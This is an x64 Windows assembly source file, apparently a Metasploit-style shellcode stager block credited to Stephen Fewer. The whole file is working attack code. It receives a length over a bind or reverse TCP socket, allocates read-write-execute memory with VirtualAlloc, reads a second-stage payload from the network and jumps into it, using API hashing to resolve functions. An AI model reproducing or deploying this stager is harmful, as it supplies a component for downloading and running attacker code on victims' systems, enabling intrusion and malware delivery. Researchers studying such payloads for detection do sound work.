;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2003
; Architecture: x64
;-----------------------------------------------------------------------------;
[BITS 64]

; Compatible: block_bind_tcp, block_reverse_tcp

; Input: RBP must be the address of 'api_call'. RDI must be the socket.
; Output: None.
; Clobbers: RAX, RBX, RCX, RDX, RSI, R8, R9, R15

recv:
  ; Receive the size of the incoming second stage...
  sub rsp, 16            ; alloc some space (16 bytes) on stack for to hold the second stage length
  mov rdx, rsp           ; set pointer to this buffer
  xor r9, r9             ; flags
  push byte 4            ; 
  pop r8                 ; length = sizeof( DWORD );
  mov rcx, rdi           ; the saved socket
  mov r10d, 0x5FC8D902   ; hash( "ws2_32.dll", "recv" )
  call rbp               ; recv( s, &dwLength, 4, 0 );
  add rsp, 32            ; we restore RSP from the api_call so we can pop off RSI next
  ; Alloc a RWX buffer for the second stage
  pop rsi                ; pop off the second stage length
  push byte 0x40         ; 
  pop r9                 ; PAGE_EXECUTE_READWRITE
  push 0x1000            ; 
  pop r8                 ; MEM_COMMIT
  mov rdx, rsi           ; the newly recieved second stage length.
  xor rcx, rcx           ; NULL as we dont care where the allocation is.
  mov r10d, 0xE553A458   ; hash( "kernel32.dll", "VirtualAlloc" )
  call rbp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  ; Receive the second stage and execute it...
  mov rbx, rax           ; rbx = our new memory address for the new stage
  mov r15, rax           ; save the address so we can jump into it later
read_more:               ;
  xor r9, r9             ; flags
  mov r8, rsi            ; length
  mov rdx, rbx           ; the current address into our second stages RWX buffer
  mov rcx, rdi           ; the saved socket
  mov r10d, 0x5FC8D902   ; hash( "ws2_32.dll", "recv" )
  call rbp               ; recv( s, buffer, length, 0 );
  add rbx, rax           ; buffer += bytes_received
  sub rsi, rax           ; length -= bytes_received
  test rsi, rsi          ; test length
  jnz short read_more    ; continue if we have more to read
  jmp r15                ; return into the second stage